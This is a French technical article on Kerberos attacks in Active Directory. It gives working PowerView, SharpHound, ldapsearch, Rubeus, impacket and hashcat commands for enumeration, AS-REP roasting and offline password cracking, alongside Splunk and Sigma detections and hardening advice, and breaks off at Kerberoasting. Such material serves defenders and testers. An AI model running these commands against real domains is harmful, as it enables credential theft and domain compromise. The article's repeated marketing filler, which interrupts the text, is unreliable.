Contexte : L'Active Directory (AD) constitue l'épine dorsale de l'infrastructure d'authentification dans la majorité des environnements d'entreprise Windows. Au centre de ce système se trouve le protocole Kerberos, un mécanisme d'authentification robuste mais complexe qui, paradoxalement, présente des vecteurs d'attaque élaborés lorsqu'il est mal configuré ou insuffisamment surveillé. Cet article technique explore en profondeur la chaîne d'exploitation complète de Kerberos, depuis les phases de reconnaissance initiale jusqu'à la compromission totale du domaine, tout en proposant des stratégies de détection et de mitigation éprouvées.

Cette analyse detaillee de Chaîne d'exploitation Kerberos en s'appuie sur les retours d'experience d'equipes de securite confrontees quotidiennement aux menaces actuelles. Les methodologies presentees couvrent l'ensemble du cycle de vie de la securite, de la detection initiale a la remediation complete, en passant par l'investigation forensique et le durcissement des configurations. Les recommandations sont directement applicables dans les environnements de production et tiennent compte des contraintes operationnelles rencontrees par les equipes techniques sur le terrain. Les outils et techniques presentes ont ete valides dans des contextes reels d'incidents et de tests d'intrusion. La mise en oeuvre d'une strategie de defense en profondeur reste essentielle face a l'evolution constante du paysage des menaces, en combinant prevention, detection et capacite de reponse rapide aux incidents de securite.

Points clés de cet article

  • Comprendre les fondamentaux et les enjeux liés à Chaîne d'exploitation Kerberos en : Analyse Technique
  • Découvrir les bonnes pratiques et méthodologies recommandées par nos experts
  • Appliquer concrètement les recommandations : exploitation kerberos en ad : from as-rep

1. Fondamentaux du protocole Kerberos dans Active Directory

1.1 Architecture et composants essentiels

Kerberos, développé au MIT et standardisé dans le RFC 4120, repose sur un système de tickets cryptographiques pour authentifier les utilisateurs et services dans un environnement réseau. Dans un contexte Active Directory, les composants clés incluent : Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution. Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution.

  • Key Distribution Center (KDC) : Implémenté au sein des contrôleurs de domaine (DC), le KDC gère deux services critiques : l'Authentication Service (AS) et le Ticket Granting Service (TGS).
  • Authentication Service (AS) : Responsable de l'authentification initiale des utilisateurs et de la délivrance des Ticket Granting Tickets (TGT).
  • Ticket Granting Service (TGS) : Émet des tickets de service (ST) permettant l'accès aux ressources spécifiques du domaine.
  • Principal : Entité identifiable de manière unique (utilisateur, ordinateur, ou service) au sein du domaine.
  • Tickets : Structures cryptographiques contenant des informations d'authentification avec une durée de validité limitée.

1.2 Flux d'authentification Kerberos standard

Le processus d'authentification Kerberos se déroule en plusieurs étapes distinctes :

  1. AS-REQ (Authentication Service Request) : Le client envoie une requête d'authentification au KDC, incluant l'identifiant de l'utilisateur et un timestamp chiffré avec le hash du mot de passe de l'utilisateur.
  2. AS-REP (Authentication Service Reply) : Si l'authentification réussit, le KDC renvoie un TGT chiffré avec la clé secrète du service krbtgt, ainsi qu'une session key chiffrée avec le hash du mot de passe de l'utilisateur.
  3. TGS-REQ (Ticket Granting Service Request) : Le client présente son TGT au KDC pour demander l'accès à un service spécifique.
  4. TGS-REP (Ticket Granting Service Reply) : Le KDC valide le TGT et émet un Service Ticket (ST) chiffré avec la clé du service cible.
  5. AP-REQ (Application Request) : Le client présente le ST au service cible pour établir la connexion.
CLIENT Workstation KDC DC / AS + TGS SERVICE Target Server 1. AS-REQ (Username + Timestamp) 2. AS-REP (TGT + Session Key) 3. TGS-REQ (TGT + SPN demandé) 4. TGS-REP (Service Ticket) 5. AP-REQ (Service Ticket + Authenticator) Flux d'authentification Kerberos Requêtes (Client → KDC/Service) Réponses (KDC → Client) Accès au service Copyright Ayi NEDJIMI Consultants

2. Phase de reconnaissance et énumération

2.1 Énumération des comptes vulnérables

Avant d'exploiter les failles Kerberos, un attaquant doit d'abord identifier les cibles potentielles. Cette phase de reconnaissance utilise des techniques passives et actives pour cartographier l'environnement AD.

🔧 Outil : PowerView (PowerSploit)

PowerView est un framework PowerShell permettant l'énumération approfondie d'Active Directory sans nécessiter de privilèges administratifs.

# Énumération des utilisateurs sans préauthentification Kerberos requise
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol

# Recherche des comptes de service avec SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Identification des comptes avec délégation non contrainte
Get-DomainComputer -Unconstrained | Select-Object name,dnshostname

🔧 Outil : BloodHound

BloodHound utilise la théorie des graphes pour révéler les chemins d'attaque cachés dans Active Directory, notamment les relations de délégation et les privilèges transitifs.

# Collecte des données avec SharpHound
.\SharpHound.exe -c All -d domain.local --zipfilename bloodhound_data.zip

# Requêtes Cypher utiles dans BloodHound
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {dontreqpreauth:true}) RETURN u
MATCH p=shortestPath((u:User)-[*1..]->(g:Group)) WHERE g.name="DOMAIN ADMINS" RETURN p

2.2 Techniques d'énumération LDAP

L'interrogation directe du serveur LDAP d'Active Directory permet d'extraire des informations détaillées sans déclencher de nombreuses alertes de sécurité.

# Utilisation de ldapsearch (Linux/Unix)
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
  "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  samaccountname userAccountControl

# Recherche des SPNs avec ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
  "servicePrincipalName=*" samaccountname servicePrincipalName

Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?

3. AS-REP Roasting : exploitation des comptes sans préauthentification

3.1 Principe de l'attaque

L'AS-REP Roasting exploite une configuration Active Directory où certains comptes ont l'attribut "Ne pas demander la préauthentification Kerberos" (DONT_REQ_PREAUTH) activé. Normalement, lors d'une authentification Kerberos, le client doit prouver son identité en chiffrant un timestamp avec son mot de passe avant de recevoir un TGT. Lorsque la préauthentification est désactivée, le KDC envoie immédiatement une réponse AS-REP contenant des données chiffrées avec le hash du mot de passe de l'utilisateur, sans vérification préalable.

⚠️ Vecteur d'attaque : Un attaquant peut demander un AS-REP pour n'importe quel compte sans préauthentification, sans connaître le mot de passe. La réponse contient un blob chiffré qui peut être extrait et soumis à une attaque par force brute hors ligne pour récupérer le mot de passe en clair.

3.2 Exploitation pratique

🔧 Outil : Rubeus (C#)

Rubeus est un outil de boîte à outils Kerberos développé en C# par GhostPack, permettant diverses attaques et manipulations de tickets.

# AS-REP Roasting avec Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Ciblage d'un utilisateur spécifique
.\Rubeus.exe asreproast /user:vulnerable_user /format:john /nowrap

# AS-REP Roasting depuis Linux avec impacket
python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

3.3 Craquage des hashes AS-REP

Une fois les hashes AS-REP extraits, ils peuvent être craqués hors ligne à l'aide d'outils spécialisés : Pour approfondir, consultez Attaques Wireless Avancées : Wi-Fi 7, BLE 5.4 et Zigbee.

# Craquage avec Hashcat (mode 18200 pour AS-REP)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Craquage avec John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# Utilisation de règles de mutation avancées
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/dive.rule -O -w 3

3.4 Détection et mitigation

🔍 Détection :
  • Event ID 4768 : Surveiller les requêtes de TGT avec un code de résultat 0x0 et l'option de pré-authentification désactivée (PreAuthType: 0)
  • Pattern de requêtes : Détection de multiples requêtes AS-REQ provenant d'une même source pour différents comptes
  • Requête SIEM : Corrélation des événements 4768 avec un volume anormal en peu de temps
# Requête Splunk pour détecter AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count by src_ip, user
| where count > 10

# Règle Sigma pour AS-REP Roasting
title: AS-REP Roasting Attack Detection
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4768
        PreAuthenticationType: 0
    condition: selection
    timeframe: 5m
    count: > 5
falsepositives:
    - Legitimate applications with pre-authentication disabled
level: high
🛡️ Parades et recommandations :
  • Audit de configuration : Identifier et corriger tous les comptes avec DONT_REQ_PREAUTH activé
  • Script PowerShell d'audit :
    Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | 
    Select-Object Name,SamAccountName,DoesNotRequirePreAuth
  • Politique de mots de passe robustes : Implémenter une longueur minimale de 15 caractères avec complexité
  • Monitoring continu : Alertes automatiques sur les modifications de l'attribut userAccountControl
  • Principe du moindre privilège : Aucun compte privilégié ne devrait avoir cette configuration

Notre avis d'expert

Le Security by Design est souvent invoqué, rarement pratiqué. Intégrer la sécurité dès la conception coûte 6 fois moins cher que de corriger en production. Nos audits d'architecture montrent que les choix techniques des premières sprints conditionnent la posture de sécurité pour des années.

4. Kerberoasting : ciblage des Service Principal Names (SPN)

4.1 Fondements techniques

Le Kerberoasting exploite le mécanisme légitime de demande de tickets de service dans Kerberos. Lorsqu'un utilisateur authentifié demande un Service Ticket (ST) pour un service identifié par son SPN, le KDC renvoie un ticket chiffré avec le hash NTLM du compte de service. Cette opération est normale et ne nécessite aucun privilège particulier, mais elle permet à un attaquant d'extraire ces tickets et de les soumettre à une attaque hors ligne.

Les comptes de service sont particulièrement vulnérables car ils utilisent souvent des mots de passe faibles ou rarement changés pour des raisons de compatibilité applicative.

ATTACKER KDC Domain Controller SERVICE Account with SPN (sqlservice) 1. Énumération SPN LDAP Query 2. TGS-REQ Request ST for SPN 3. TGS-REP Service Ticket (RC4/AES) Hash du service OFFLINE Cracking Hashcat / John 4. Brute Force PASSWORD Recovered! Service Compromised Copyright Ayi NEDJIMI Consultants